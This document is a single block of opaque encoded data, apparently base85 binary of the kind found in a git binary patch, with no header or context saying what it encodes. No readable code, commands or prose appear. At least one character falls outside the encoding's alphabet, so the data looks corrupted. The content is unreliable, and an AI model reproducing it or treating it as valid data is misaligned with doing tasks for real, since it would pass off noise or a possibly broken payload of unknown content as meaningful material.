z911p#=9|BOXF+8t$1bCP8ai{^wZ+e2Elh5_wMJ>hvvq79KyJJ(C-jPuoUgNbcE6A4 z>%{&(-oHJ4dN+owShu&Z`bLA3r$RbP&bG@qnjJfW?R?wFMm)x?e3say)z`{N`}2PPH$EG5~rYbDK` zgybK6SEodxoKqo|rMd$nt1T|Kq(>m6m*lB?{NAltDY;fQ3UNm>RZd9jmC)JLn|s(j zv!%MewCq+T+aX@6sI#F|U^kgqhu|k%2`!WJos(?dq6ZQZt6Eg-d#ZSO(sq)mn5eEu z=Iqh~eL9dlbyspiI=_}U>uy6yrdvEECTBIfVlB>db<|`&{w_yX)5A8@HqA^< zmh|kpX|)9k>7G;6%c+7vpNe&$dR|eJB+b0a@r+8+4|tU2>53^@;mbK8RA;F+Dr$Oo zXMXIqo+#y~gda!!PeljDV;N#qTp9_S6K8hiEb5fRWJ z#45@c9`PwlF!psKlLo^&5vRojJ5MQ>K&&cck^$NX~ho15-6uJc?>Q4 zYP4 z&JST_^4sq`UqfEVw}-z*;|zj54mO_(cp2{+lS|C|&tr&Z0bAb<$OXS#5U${tDBxEt zoXdn;_KbRGYdkV?d8Ata3j*s80r!wsUk#RDsOxF3hQH8m@U|gWGBfXke4BZ-3k!2U z*sJ01f9kuyHcY#=i(w~(UEK$V8-eQwui~`v82AFhi+^wO)z^D9+uh#?4&)kj9Vq54 zqv%y2Y?zg;rGEAqTjN^Upf309=I5{s&XVOS=FMEVJ+&pLIM>)){=s4KtS_AZJ(FLF zbqx^@0{@qOtGW3XbQSO}K(1K%xo3Kt_neDo>-)SWT;VP6LdP%*i+ME^Zt_)l!*96Q zbUX+wr&85b>^Z30EDSzFtaA_Qmd0NMX36gGFMsE^mdEe!`I>OUxuVn|+)`?3xE>}Q z2$eBt%tY82o7bnY2M{1!>xY5?VPG? z+&SUD!NGv=q2J1-NjW^re?dpbe)qPcT1mL{vpWWw$8rMye0OKS-kwLo$MUDodFT0q zZ1aJXG4|ubfBO-?{f|JFe<}MGRP*kiS|{_@Lw#qMPi%)cEjb@iXSwy0WE(9YvQ1V8Zlc_ zh^Shg@NP`b&chi}3CBavufRD5r=nY>vD%_;svzoQl%?S+A?;Z zkH(V6)g_|=|HJX@6ON(q)e@N%Wj`TxClyL9Nr;RRt57mepHsc{Dr#HGzG#&#?Yb*u za?+%8VxvSxo;+;FCIf9y(Vg&UgsA!?rzI~{m&WWwmd}J#bAL3}ZIeMQwNf^_OCwod zCxp^;F7`~IUvln$3o@fI=T^9`OnYscb2ZgHmjq0Q>)r!j3&hc_#OP%*=*4Eo#xJS` za-HA1U5K%-zw?_vkYtjLM!WNxbdrc|xhkjeR>|8V)a~WqaEzYtmSA~?a1Rbf0reOXY()jgvk-QZ&E?djuQ*m(sS*U9q4jQwR=Rcv{y7T>CFAHz& zuU~-<>dGVL%~FB=YP5eWEByN!0Ry>nFIL5dUi)s;W#;SGnC;K2&TVH>EZ~K9O~=fC z#kL+CYtAdq)r=UUnAC=dc;T>67k?T1Dow-hHW>AWi$l8}2MdRRV&|!?426q!vHcs- zqTt5lGR`Z|4Yq<`U&G5R&-Z*=VC;>!H7xy7w73}54Yc+Yc*emP!@oTj4hwJ86^DBM z8`Sjxw}1S~Tk$lpiiPXyZxDmA));tA!2_`CuN`@?8}co}Ed+*wH|>^2&KrT3Ga#&! zbI`SMn2MrTw(4kI2B|>WMv@5(@J^~ZjgJxZSSR)aBm2Pru>Y=phkwN~vrAWBg5SFO zLH~Tl?%}Ehq3jH{EB1^L_iiWot)J3#$VU&g)w?^%Q~9Nl{wIGo_RNF-hp32u*rmPi zgkA2^be@k8Z+-ar{NGKMzOzk<2_J*4x|e7Ey|hd0ongcu#?Q)0OVnfek!qf$a(3Ex z!w&Qj&WE}j|2W|JSg2#C4~m@nIMi{5L@bZbhjKb39*%$9odi7z6Vk~!h~~aelJr1k zs&t7dM>C4`HJQs_9-6_>eUgxesHr&4^(;x^2T30Ez9%QPqg1i4+NDoEnWS>j@gyg$ zIs={S-U(&gTa-A}DTJP9>~QkvPKjGt&MnXqPaFEg`svu6&hwZqH%?kDB@N@pW=q*f z-X*f^hfPJdAu$i`wIHAp?hR*=i2Sca}1^2%R)nlW(?e~q_6T_{)ra5#hD3xUnK`TZ+m^Fz>rt+ULK zS0HQz4h1*WhI8xh99dB4YLD=C5SV%KrrO$C%f-U-GynCF*GmI0-w}pqHTJFWfH2tG zsM{c{=`ipsWBwd)#=aW$8hZg=CciiQnr#7FQLQiYtiSoIiLj%3!mAgj0p9Uoz_1L3 z`(6wi<^_-!1sBN<7jM+9DeYdyF7hoV4JLd3Ynx%NXS>2=j6kvV5U%_)FBaQEz8=LA z<+-qlSX*XW({5(FV&w2I6l}&E_^n+}erFK82^XjF*5nJEIz*rfDGQ2W*rr!ajk)YG z)k*`s7B9oX%2rqTeUG7&zm(%Y%)7V9)}Cm_*|jeJIGumeerSFYY`?NCBADcVX*`qo zV+n>dUnF@xv5yWvst~&~{6YA;nWyKk(mwTnQ1qv#t5koPEt>t9_i#BGmf$1j?2b`w zZ~OHWO7g4V<6nd%pHVnpThCTsf>im*|7iOydwU%6tULb@t$zye_ijJC4t0-{q>o`a z4C}bqXFMq_)`5^~JSDSzj*dhvJ$X)YXBa05wd;_%lTdBA6Z(mGPOb0iG)73tSnjsl zNuf%Z{H1YJ{GB0!ejIh>oXPA4l)(aaS&lMk$-iZE)rCqwAtX;W%gC>0?gpai2BtUp z`_a_TL^(rt$F^XnDw~SiNpd|7p8)x7$LT7QeDoN~>8?&=-DG)qG&H(Tm9C`{&VOo+ z%znCJcM6@%BwQg^EjNHzo$yd)ka;{#qClEy0lgtU?Nt&4gm;PL^zKz_=_?7%oX=sx zmyBI?ONs7EvGcs{K|MReBqT(!`)cvobt*0Aa=CcAbdsZKXKC^vzm%XW-yct{R`FL_ zaymbcc07JkmQ+;KJbv#UL03%jRYecwR%=U_x47q7+{SsX)+kVEMVe_(TY4!vEbOIH z`2}f|7OeR%*@kB`;SD|?1dhMpw72jGatlQVkP(bbblg;H@;%Fqy2Y@gW!$@ za!UZuq73aW{@j4h3j_Au|>^89y`ukAunb1|b~#<*r-?Fw&om7&=&OAU7C)#!|U^+q&) zURM^KqJwJP; zK;Sp@nj{Bl7XoYSTUU8_&$;-tJw>ML7oMdV!bLpGHU@$Hx-xqG!6Ol_L3jj^tjX8F zt6dvGV{>cxH?~6{VkJSbkwF92z?ASEE5%-v!J41Cj|fOepd1B z37Ll-;|~9^t1lUS67v7=emxy6^?!~1kLUw-pG)Vk$I*`CpAK>y$<}#t1Q?~!dr12_i#d7F5#|7t+}I|{HG=7 zk>6>h?@LYgQ^eV_c_=mM#_AqthqI+5T+WXsQ4`W>m1JFXb?(-eU_3D#BHN`$pj7j* ztUjacek3EO@9fS4k^xQG5&sZ!#H~D;9is5NZbImj{%N(JMf%BRgQrd)ozVZty4L*D zJpOfv&6BzipL}HVS?$u@k8<)9-aR2K{UG_2+>Zq4eShnDz-mTUi(}IOIh{?Nqwyo> z5mssP@Uc^iX09HbB+4n_gap!(Y@A)1&nLMq4n=2KSNmHSBxAdJqUr@Llm=M z-@~>ZdhPN9#3dZ2671K(6UnlnMoVILnVb z=QpBD>=2WzW1DtM*54o=E-roqX7}B*;DSmgZ?GNa)nK=on((@Fl}5Cys}Yzjoa~OL zmjcW_@K+vC0;GjKmE0QNbFfE%ze37T>^apBN1(5J0+(j%$8MQAY5Sxd*~^&fW31;| z&)7My(90Dh&jfuKWlHCBwmBHDjT&i%+ ze(>eEVfQiXgae`i4RbWSRlj>fIZX18m_)4N-cM|1Vl0BuY& zQ^FahNvc!^1$NO>x;%4DKkca=)JES4PeNzYXXOS|js|);vGO}}idsNal2do8JEsI4 zsBqHWC8${UTm;s#_4F{0Aj4_XEhTusj!i8WN&}SkT?uXEr!fACrC>gJuJP2E|w`R4pWn@kWb?K^-6HcB^rK0UW z4_hARudTFNNvw$PivG4u~EYF3d*EKIWdzfpd zcs9F`ueS1PG{amGuD=T`dYvion)X@-|B9DOHt-AZmNURxTQ}Zj@(bABkXwlQWL}3u zue=K#dtvYP6tS|zfNIwr95w>a`_BSfv#>lG>3R?xr)IvM;d-m5!@Tnx1Qsu&5d{mG z6S53D`>kflxDN2P$9~Ox>soaDq+o6N*Rh6w9|k{!RZht=*oAiM2cj4AiezUgZtcNt zoO#t*RO?^68iDxN-wOtWp;{=|9>&CsfJMO!b_KQu>RJ*aqpu5l%jutkCQzE9*P8qm zw0cW^IF}`MBkcj+Azul^zk0)YUro5|e*XTIIhTQNzX)v#E+*~y@Bhcz+wID-U$wOaQQda9+Kk@{lZ|IvnKpOH?F$Xt7uFhC%{pc{WYcNO5@VPvja74YhH=)Od| z0_S4kI9uQeFV3P%8Np#CtSFIevop3H@f(xPt)ga(>uwybs3J%EANR|TMkuOF*+9l1W2qh=o;lKgH2zV& zlC0{<*`6Ot?f;Cac7FRv?dLxr{ z@)sY=Evs&);kU6<&1#%0PnMSFXv&HIy;_@{>s~#zZvO}U5>(U)oXj7MidumuZHetC z&%XcHKXtUzxzq1a0$)+=;11Z6y^pBjKP?@Kht|eLO+5c3sFYYB+hWc6kXUPIB(N#UNqx+FhiSQBcY}%t^ z37;)1aQ5rWTRZhyA*sZdWZfROo_|D%w&{*y+I?1QjXjn?lRa8p1G3CmmsBU9A zRECEbS%=SdNL5LwF2Aol&URMMR2&(xsz~xGL{#^NzwT(LIIYV6sM3M>Bk24DDhYjd zQFTRWmOAIuEh9F{l~A!ArRJS;JUg>iJ3Je4|0+#>3@1TQ`sByyyOOWR9<3HpRvvLB zBufug7M6OcsnbgSmz>FL&3qMA0$sHfKK;(T7ED3{6_x4m40bzJkXG>9cpKZuyqvr{ zJyTuuOnwVL>rr>pu56NEO!A>!`NgvzuL9NfM+3w5*MwO;;UV16F5e5*>(B$dMW(SC z1PhZPV%~EW2zwl?AH|9hI`%l&UmS*uOKHf>nAkJi^9|pB`-r{#X(Yj~Uyz1^!@~VW zv>8^}$WV`dBbrCytsfhQgS11zB3}=P9|&B6Vp!iZ?cH2#J9z6+uc^1Q(fsz#09NofVx)l2DJcI{*W(*0zLW7W3P&2h0MN; zwAi8GVo58}$hJOrs2TW0R(hB>hV|_+4v)uZELokXZ5xvluEV)c)FjX0zdefubYfQq zE+-%RA?suOeVFImJ{e@(g2&?reOKQ}zRD{3BmZ6TYv7i>GyFczxZ6jS^Vpf+p1r%+ zE#~or@PX9oEqG)o{SGbl#@ zKT&HVm!SOCJe~K)_^sPt_&-&@LQ3#Enlzu|DCfHCG*~AwE}tr6+cQT^oQd-BQb)%= zPww!X8`1b)9s&s=N}0Q;j6S12j9Qwa32(9TbSD@&i#`voKKH(qC&US-ZB<-bi;OnB zbZw{oYNofTkb67X1%(J%Vq$YIjju{Fd!L=2o*hoBs_TYF7Q_B&CgN^*rz$L~J4V&9d}O5HJ5 zt<#n3DsyMkhtOAIy_#&DB((^1iBpKj*$dT4GF967v6h;rf2WdWdMLxO(Rk^x!Nhiw zX*Egcfz@TtXF_;YNg=(roX^Kg1)ljgRpwNYhRaS7tCx(fGzsS(jII2h|H@MdQHGHh zXt#d^F$zm-Y2PbW0K0zks#lp5XI`v#p_^o-UnE;LQ(e*SEDgFw`A1}a%oLdU@5d>y z!VlOs1q)7X&ypy$JVmwKL12CV*BL^)78r!VVKc8a;#{Gwt{LoBlx>*TL_FlXWIgTG zEVz)?_soLZ&i8-M<00Q#%GZSR{&NFw`3qD*U>QxsWq-bSBl=#2f34Se_wV`HtA^jq zf17ztwM>4)!a`kU!H0#5Uj2gfd%}D0mT|COY&Pxki&*C0Cg1w1uW8p~T*I%R_@dyR z@MhJtTXu14;1|0e<@d|XZ5$9Ts`XOf7g>|9nK$GM{|b16$%0&gaHuwhS9u*euRZ&P zXK}Igx*J`Y`T9|QL#|$s_Mbo!+ggx2-|)Ram=~KHen$Woi-kX4O~iazcvx7(I$r^{ z4Nc>$)p}gCiw*N;XzSIc;KRlI%_D1i77XE*zTww~3AbtYOoToBg>w%Y3vBh~GdOI& zskX#msSU5<4;`CrrI~BdZr*$j`4(dWzXhbq*{k^VrC@VtJ!;eo+nPp?-2&J){yJkL z?$v==jJc10fOnQ&oEuWGU=HnL_=tW%#1Cit6{V2%c<2Dz06Cx7}o?Zf|g+@)E13f4{^o#^qGoqrL0uJT3vtou8%ttopy{=6er zZ+*IL=QKb5@$5o4&(gQLo%Zp0eh9ZR33t@%e}wai{kr<2tM?lMf9r$XI#23!$Hh5q z&YU^g%^5GJzMS+pI?l<^htfHk>g>nTWbWjg9(CV>E%Q=kxEky5sjhP-Ct>H&V~0>Z zcV|wj7Mwo4*~F58#wIh3A;URIx=*sP9qnspn4HV0ax3j=dlf~X4bJYShqWX2sM2?D zMD5innx&oDOR4^=xO7KZv|IS8QLH^0>C&DJIW^>+ zQLo3u)=QQ^W#chO+o(H?Jbo3rR{IC9aEf6eX!EZgdng>iz^s+QUhKI~tiul)Pi!0F z)&^e5Oss}kqpp^UY6ol&)!u#pR&!ee?|FoLMY52u4B5Io_C2VpH=K>Yhl?5e=B;Mw z#j{L@ahiqm7IY7bn}q|gtojG91iWoD{03<=*qyO2qh5fQ*>2k+U&|Qj=5A*|Smc|p z_tq-RyU2Hc?N{?(vn@v3`L=I!G2aDlST+J%2`~FqXXd}UGu8E&*lbƠ=^t+}ve zg|7CPbA!Eq{0|vm?}sn>79%s><@>*7!@>|QOR@`un}sv*okx+cei~W`+|GXgSzvoE z{`l{Z?_Tmy*c3cJ4Q=4%o4*CTB{1`@0dWNRi@+Hf7yN3l+gvOgCEbQej$o0F> zHsD+kIK$r}RxNq{+l(wvk*OZ#H@7wyhj7oAg2To3hj6jMTkhpC%vvn4m9n6+qj>q5 zFZn{yJ^Y1y2WcCJg}QaR);&>`ZC?mVV|4Wq9ouJeIcJIE`j2OI)tXbijCKBhEHml1kC0-h@r=O- z^>}=Jdeg?|Rvn(D@2O7g(tL9<`#2!>-&W30NF_ruG3(gq)l== zbAa^ekt7m#Z^|&SRChK-?GTD0a7dDLEM4K0?Qm7;-VmsB((b#HP*JPI-bu3MyQ|5j z5H9lfBT@8F0`+47jm6(BO_D^>Ku2knp6RypC@npcyjLZ5$kd`bew>qY#L6}aDM1^~ zHc_V{MO%~3?~ej!>UN&=)+JPzrD=PVojl$4=P*6*z|=xRZ+B*PM~E_X(el&77GRf# zv|FQQDzgho*0pFd%319~S?#S6rTi0arNRlB(l$_PsY}b?5#>(h4#|^*_MGHXv<+?3 z*(hqk*)e$pxxMao83@_2P%R;`*(#{=*Nbse|`l7(~I@GH>Lv>&+kRF?s9 zQ>|hFSi}vpz_RXOFZYg$-?TeK4C>ZW8UO8%`a?(ybsw)lKOTFM3-Asj2XD=)y<{#n z?HYuee-8+I)GO>={HqKMfBo9Ccv;LV1lHJ>DX^Khe-sNR*jq}jdXzErDzN>F9>;SJ ze2ZZ#r2gP<1ju0Cx)bO-cJy94EIj-Ry0YrGod<_+^4%bOv#_SXo(LzEroENqyx6SA z8UD6kf@b0MdNaTqMh^c5kTcZ{(l!DQ3+v5iocdAdLRaYpv!PvVb8-G&Fi?Cr_t5T{ z3!8R@y%z$1Bwu~ESA$?re!kR)P536s@_LTjRGP+jM?vTgQ|Iy=PM^y#SwKW$#%E#j`>+YVn{SN$jwR`*U2|JZK z{6~9x_du$Toor{@=VQ6s!(aCijORoDo$V|6e(5v%318)Ql}G7mX*BWtDv$I_GvUYh zd6mz0?dANpi#TI3Ci{(M?RutbL#V|Y-Bcw%DrWJT-lU|*xkl> zCaOHN)H3qa{Ujta$?+3zTQVm}!|hDZcb?Hy$drh)JZ^6P;ez&307Av89kc@CEAAV91K565mB2k?|%G;B@^oLNZXe6_8 zLRg{!R%EsJC)v^*kQVrD6%3MAc=V>nMvi&AAXU{)qLLe7y8)p4ykEFjL z*Y7rG3he1HU-I>kw+F#OU12YiUkt;qDY&Tiy#Krg!NFlXb&qkr-V4%thFhyWCgzL7 zi;G!;eD}b&;kU?l5ExthtINY*O@U|B%Q!e+^^N$?T8*bizD_?|JSpGLL<~2f;J#6|v5e?0FRPYK&{V75_E}&qTNk&wTT9&<(jpW-Vn3?7#-z zOn!yWe)IV`4(4^}Mp~i@Y!lx8pl<&(R%W|BQ7s^TYcu)tIK}2`Ywm( z?O#bApYzAkyU+;U#`S@8QOVl=V)b!QqI{j4Nr&+S1CgccRBi34=yyB*>CRC9#vY* zYC`C63#O&6MGvPId1%I6DHX${TABb{3o zzda*RwqC`!K8g-M&1`)aQs%ZRv+`JmUnN!)pMwO1&<`0p59Ja?c;DwkP$8UT@GjzX z15=2W($&th`XtpTCGN)3#(u0MRIj@))gom4)=UpnXV;Z5dPgPy*j{~T&?kut(P|P> zv_B1Xva9=187zp=PI9VTCy{^>gs{Q>GA~PKJ60BK`t|1eG{m_|rK_kDPgdI>XKN(O z64)D1HMEXL%v<1jJEP?Lya*uHmW`m9*U+lpymGcP4qhH%Z$0AKe%r&dCBVK6$3FZM zVuM$m5B#zU0y71^J$mPvuKT! z&>i^Al8IOvu7ctSLb6)Qz_-V~o(qd%%Yc7}g3llMH4a}>;OFGmR9mbXziD^dwX{dT zdhE;NV6iP8L2eQ8{-*FD-)7k3Sx^j<4ip#X3Sf09C$_LxNes5KYZXvE9;mj-*BQdO z9{75yt1AA2@CCe{?KTkuwgt0IxGGePsY$L4^DiDxgo|gBZB2E9v_LULyzUMO2xAxd zg2Q!?ZX1{lu&`>N5d8Mz&@|%1#Tz}g{h)xy(&N#E#I5CjFFjK6_)FPa@b)D0q6svk z9OFS8c?lcFHuJ}<;d{PGaeiJW2q$XR^J}}y|zF0l>TLt zTQGf2V|z7rPIo?i&AH1b(mC&8%)L%=wsrRN!LlB8@mNbf?{U1ui7a=*tx?fVD`Pz- z`F5`SNlvU&O)N`1l3aFQq>b1KOTQlz(%adqwM3KXv$gdh$X}0jN9j9u{48}yDG{e< z7o94q)z{^86t$$G=-LIFJvm!5J!r{2sDV|KiiDqvvmFg4E3YC-*Ya5Ys7ji8YNbA>?E6vU!S^I}-q2PVLmo(lr(t_1+aq($A>V6QoUV-Kt!TM>e@k6q{=LPBJ+%T-( zf6i}S!Ns9tGp|Yv5!+xEyeJqV7S;OoX3vXxfjNL|l9lJoe3hg<40%PVMAe;v??zpg z+8+T3j7;x5H~gA&JsqwWr0p!EMIg3qu*D-r9w+l(V{*|h%EPvKjTsy^1sCB8a@WsZ zq49iHFF*USm=q(a_^PikHej3gqKAAP?pK{X|Mff4psw*Yv)!HrD@o(CZR|BQYsmr=^ugW>csm@Y?hvu>HLf)a^Znn$ztTX;{-eN+wD9cX?qff= zI`@UZ{~Y*TGEVpsH~flB-`5=PEsJ2B(m#&t^Ek$&{p2~R7B!Uf_WJ*x0Ho$S@5>Tsp%i?sO==&B3NMxvSCEJ!)*-j}LV1u>nEhkeacbgwV@_6yH}UstRpUxDAU&A&7JJ^oo@w(EP~w@4O7md0NY28yHc zSeALNz*g@|8?N~xaIjb7U@%r(>{p}pxS&`h+mGO|fL8!}X1)p;&ef_p7rgbW&Y@b< zt7CiYi)U#9!r*X2v9Q<5V%0H&GHoU*NC@xS`#A!_qa?sd**<#ysG3Tv2SC;-C6K>1U z0JG-@ue92u-m>|f=P@?+$~Nj2ejbBS@A&<*R5ScNEG$8xF0|Wp+?eb!?kpW5F0d8q z=7*p?_Vth#MwVYxE3h3;Y{6`P@c9TV^GnXn!k!Bs?9F($nb*IU#Xz~q7jQ0tkv3p! zq%E4>%-eQPho#{=!o#yN_EjN@^1RsLS+!m0q*Y&Ii+R^2f1kAFZ}DJPdHR(8I=#=~ zUx)U4b(VfII;0zzqMwY1_{(F;Euh}C^0`o_QtY-HN#dNPFzwSfr&MECG*^3KBiGJ#Kas{@N>ZB!uVjaj9bnjhM zly=ayE+*@<}_GB+EdTesCN83r&{ZP7^q4YdT*0Je%G%GeyEK#NG ziS187sn$g~-CaWY$xwzplU7T3`aS|e=5ac&*a^A9cZTlpgu4Os%8Z~wxVppAQ}?QZ zb3!amDu*YE270HnM>?NEGQ0(PBM)METq{N^vnuw~-nANZEnCijFnjc){MIxemyB@v zsT?k@!w*qV`<9b4ePe}o_Gy%4xa_J-xAV8g87*H`AhZ5Q5V=4%c- zhV3aZ5FPBTit%4KoYe)w8W|U6O3chxb|~0>-i{tb^>i3q6{wnXb8ofC!0QnvGJ)Fa6}?!axo1@~&I-_ELjbu~%0{}qy+Klzny`AI&`Q)_9+c9yz_ zw`V@9&r9=iO-EmNLu_T zqjxg|%G1qU8SJmsBypiFp0-D$(q!w+(u@j`$AzTtY{aInKPC34qTVdxBjY2QLJlDt zdfitQ@<@P_65XEa_EiFj-5B;PrMins<0RxHB>7t){jS(0;`fpSzNo_ILzHB$LLn{L zLoJlG#C3(Ug?*n|-L`U$fChFOED=RWdHlG`O?%pc1?sT-Oo_F0ZK2Y(l03@a7q#e+ zgc4Jt?{q?ytk#mR5pO^G2>9IGz+@<~Yzkp?hgq7Q-RJIyB&SuUQk1i)bQ_bOTKLO} zM)%$YPI6W)mLenbJ3o0^JZWillB;NExTH^;K=#}aIIq1e%BXEnysc@rid30fK4}LA_&mO_W#?nQ^s>o_< zlmX6lP6KjtZUxTFw^^7WuVjmG%hu!a^shQ!wA-8;XA!PE{U?A0ys^c+{-rF&zJA-; zg1VI_kSk+}V>9a2tI^ZlO7$yWx$UmLQG#v)ny{R*@N{a1j?-(UC* zAP?A@mjk)WDRiyJW?21379JUTHQJB1Thn5`%nSM2E)=a0$rk+9BmSY<{b*(8yfwp> zCR8hKCB)cku=Q#oaK^zRUs0_dA!5yl&Aj+czSkgFlV8KB**0`6rx3UvL$zn%t2XR> zV6XIruF;!bfn_^E+JnFap3-|P>p*xpg1ioGRvmOLL-ZOD&d)@PWMSL*mxkl_oUSb! z{v~Z5iB-A3eI??`lT^QX+OHG-I^?UF$K!&6ll*p`Ex4!}_@3lriJf`dC-bWKgOjD7 z?ssEqwXfK>U{-%J9v}72uX7<)-=ESI_^IwC=v4a?h~T$lPr^?jS7rqJ zP6M9;m9{p>r}|Ow$$6EV{}=Q&Ppiwbr~KQdfk()lzt509@6FkdGn)>Ob8PdWl#?X> zIe+R9=rbp0#e|^e@X2A)o<#Lw@*FR%oCe6LLfwPXRvsSvu54($RIBBQX7nQ-Wi8RL z?9g-&9l587VB~Sa+xucYD*^#kCi0$ODhh0+<{p3H{ zC{6ON&T55oRjf8%t9_kLC`yviw>ae{Z41(vV`E!0n^MIQJKJd(CC<)3p$VZ|Ldc(` zZcKvN_&YxhTT?PAx!?YB>H~2P*lDAjQ)pKq533z}l=jmY6_wLNICRZ_@f7Z6p3>6 z-GkD0T@vEKDG#5jJ6Do-HUy(|pL_@svjuC&ugn%Fxix7InL`w)B_k~wv8tUb!~k1e zu@nl{BaB?i{cBp1W$BEGqZGY*bqqhs36tj016(`9(estz3wRF*dm?-u1*#%k=h4@J z|8jlF7fcq+TJU(p|GIxbW09;Txs^u%TOqb__Jr4hW?tiPM^%XNR&1+0g{~4Sp;;Ku zq2pSDkp;h=1@{zKnz{;34;TCQuUcS#PkX`JaITRV`^tC7Qd* z&(-G>M*N9VciLk+@bP#`d@sF29-q%F$@r9E1gFsS|IzrA$vhG`ugdZFD z=%jy^;OM=hZz1C!V@H*3zuU|Ckn`T0`egW!rZb)odmJ5O_tG5aPI&8+YVxc@=FXWw zml%Jl>+ILnZS;}SPI{OFr^OLWHj37Lc`EsS+*@FeR}~*+72=K1SoJxN3c2?v4dT1` zaVErp$wPZ?too6lcSknKCZ}!Mj?+t|n(fFS3cWSu*?w%2PxvwBBXz6iU&omfMYr9# zG?Xi&ue3zz(RV*;iEtbFY@HN@i!6Rh8%~)m>W7?%{Mb)mt+m z$>WVA)*0|W+Nj49_~?qd#CmBmkfa`Uk)dS1$cDc>F}fK7P}{A@z{->ST}Ya>5cm=P4lVBtQ5phSk--c4gGnyx4xPYUV4Rl?D)Y+5*_pfVa@GxcGpr7}<|F>%LdD zB)kpP_6yJLS*s&!L(^V{#eUn_v`eZ?d*x}o74`;)f#P~>1eRZR|2oz}T_f(f0^e(zWd(4h$X_c|INSr+H+BA zX%@Qjmx7t?!m~rQk(q5J=s7R6tH<_8$>U&bfLCa2upP(+hoN1TjL$>90$$f@@*TDv zA|6jrw*Yog^B}Nb_7nDcj0+ljq+78?sSB2a$--N(7vpU&hLzZtIJb}b6At{wuPBdt z%P6JAUeY>Hm zx%EFhCe=fKcYA8x{%TlD#QvD!xwW^rJj?mLVvb=xT;=#zhqO9|J+2YN@53RdIGx$< z#~eO=Cafi0lTfEPKX%9@QD&Tom(u6PJ~1M5T1snmdhqJ0ND_K*U3FroVjV^Exlieq z;a6|I^hlmglBIbZ!OC!w*D7^=S1Nlj%4RQU=DtHt1G}Zw8@nS_GB_=M-Mwp7Y@<9} zRG<5#LM+X6OGSH1k5ZYPGxyo7w<#HyACt5DVU^t}Px<@OUMwTOlJMB~DJNw&6Q?U4 zdr~&RW6s-ht|f_HO6Mko%2k7^}@3@B`nq5RU8Yb zRzeZ6O8cw61I7KVVawDQdLG9%;i^P=K;SGHgbPBwB=Qx^>b^$0gSuxG%@DD%m%!4D z-nIUF{nS-EG4!@`mQ+rUgUn^*z36hrzc^P;*tS>oSmC;Zw>1csQGS%Zi*V)igjZs} z-fUTb7n#|Xm!B1qp>U6Vq1{csfnQ#G9!xH7#peCzwuQP+1m-1Y0GR=?N4GT*E{x^< z=YzT>8w9o>@Qd9-q1HZ|L~L zL|A&`u!p~X^SK}O>avkpBVdpj&MjwV!Qx^CuF%9!!44Wg`^fv?Jy*q8JLk1Hzv z{w6O^yqoc<8*dUKvIUngG zq#oa%`N!Q$+x}SY6kQwt&8XQ?8NUpPpgx3;;@5}s7^bIr$0}8S|Cd7@XE5FStf)ia zKJWFTk7_wm`e>&kB4T3al&D9Y+??}1MkWbP-$zWgiJHvE-{qv~*jkl<(`ni6JdbuN ze{bhRpG^RqfmKBy^8c=As_Y}{4oQ&BF2k;g8b9-{Ne_>i+g+w0{d?G4GTlQ2YA8WhTmYXIM-lne?XWaZxgY<*lQvVzJj*mdt|Z)=Kk8Tf*|^HMZ^aQFakk9Uv9 z6l~5F>f#^Nt;ewixdP!C?DE+BtAVfi*Ms1B|G5kT@feDk_RjsVEx^klc#nfczJFu* zE0o?K4C)q&+Q@8Izm#Q+EvF{JyakO7_Oj}G2-n0a+o&u4?bva`$OWzCG2X7bIM>*# zX|D#mB3~OKU*3hbK)@@c<(+5Wv318OyajtBu5Sc~g@l6W-@|EM`1&ZBhyWBs)2$7iw&ZJSmt=41Sr^S8R~RL>7> z@AsRAmhQ$>v^;V8{K;9)Cq0gH`)F5Zwm3(olbbFrVa$=w21`n^E;(C9)RB>=R$DNE zJ~wtC9k%!!R%wiWoJ55>70v6h!)aS32<#@+6;UHbLq*>SA)6BRrq~fV*%#T4z~U{V z$@DN=KsL=!hwd%=@@lG=z}N0P4NMaB$Xa|g_U>&qTl#LPLg=6TsoR3xTejxFiNesm z8a{|8lyDnjvILkZpQ!2?BK=|L8G# zscKz&=do7HSiNEEV_|8fRZE>sf)1RJl-N02quBnOF|>F0kXnw?E@s!nqOo{~5Su#{ z>rQxQ=8>M$q;nct^NBg9UuI4r;4~kL`L}k>fY`%XWGcjC>1%7p?uoEH#j}IML&RfD zR6Istv#{+u;-2dIf4Lt)-_?suN^xL$JJBj5sI&42q#zTw}-VMe_@AZE4; z;cBp3;){O|{CbQ#liy+C0@$)2w0k{XUjz>AZb9>}u-E?P->|Ueyz?briy7&93amGu zJ@(BHLD!N!ID5!jl*)j(z!oF-e{QPP@E7~Kdnh~}F>jNv^~JEp*bIE3;3nJ)Z&CJ} z&w}5ZaQiWDL>qp4?0YNosXapzQ2XDDMQ*|zGo?CB?AuU;MYQiUkW znuKrtwh8(F^*#-c@v+I-<7e6bQInNQ+1|0Y=W|7W2xRy{aFX9Sf9?PNAwSBU$4@1+ z`pGXR{#hO4d+87VH0S?=^Z!1d41GAv;geGzhds`RKA`Hnmt&sJt8?k3S4+O;G+2)u zM}3O(`L<)v*>XZS`%Oj1D$rG~qFpP=r!J{@MALV*O`cwr$E({QVRnH4joa9JWNX=1 zud3C(3umCTa@JB`(@Z?I`iQj>=c$WxwViUETvco<5U0~7kDc^0_mL4>kCpTKWV#bM zeNE9AC2-xub`Ru1Q-KspV`x@yigm-OLaSYRk|>Y2pKiyV9uW9`8kk4YQi$rE;WRL9 zxXDSPisZ3heRj6AG@j0hhCqosoSe!=4_)!mL-dvcGm6aeWcRPi# z?+e29z1ViJw+ya?)c1l1aw~~#=@n=+&gw@TzEM|rn+%77;npk-9ov}Eu#LR=4A|~F z0Nb8<9ola%i;H83i|0k?41YZr)^vEj@QYDOldRyk!o$vd1-M|Aib7q@e8aQlx4j>E zy%{1F{Eisftw)V_1H%60=LN+X@-`sXVn&&lFMkoqPUgihuMil>HT>EZCYQlW&bkAgmp7l4#IVdf*S13nKYLP~nQw6`oGX2Z zII;Z;SE5%h%`4Ex)x0b{vy>Ba~<7^JtAe0*?LX@K37z_;V>YY5MEHmuIgo`;7o^kMpd$bL_X#`lkSYuU_qa zbl%;bY;W<~Q?WSr(!%G;b`su&uEsts5j){|oI*DAUkt{xli=LldUHyQf!`;(bMSMN1p6?_sn1TGAy4n%%8OlBk&x^eTD@x*|PG*-n+HwDzbL#t6KW z4BhI4pCqLx1Wi9Cb0<-L>RPPTdbGIi>ZJROvsV>}jPP}5iEy&beX^xDl6M}hQj|7a zohnmH$*JXr)uF@du2=$lX;#ZGSqI|Bsopv#8WQ3pWRkOV1e4aKBkn4a(O!94Db0vi 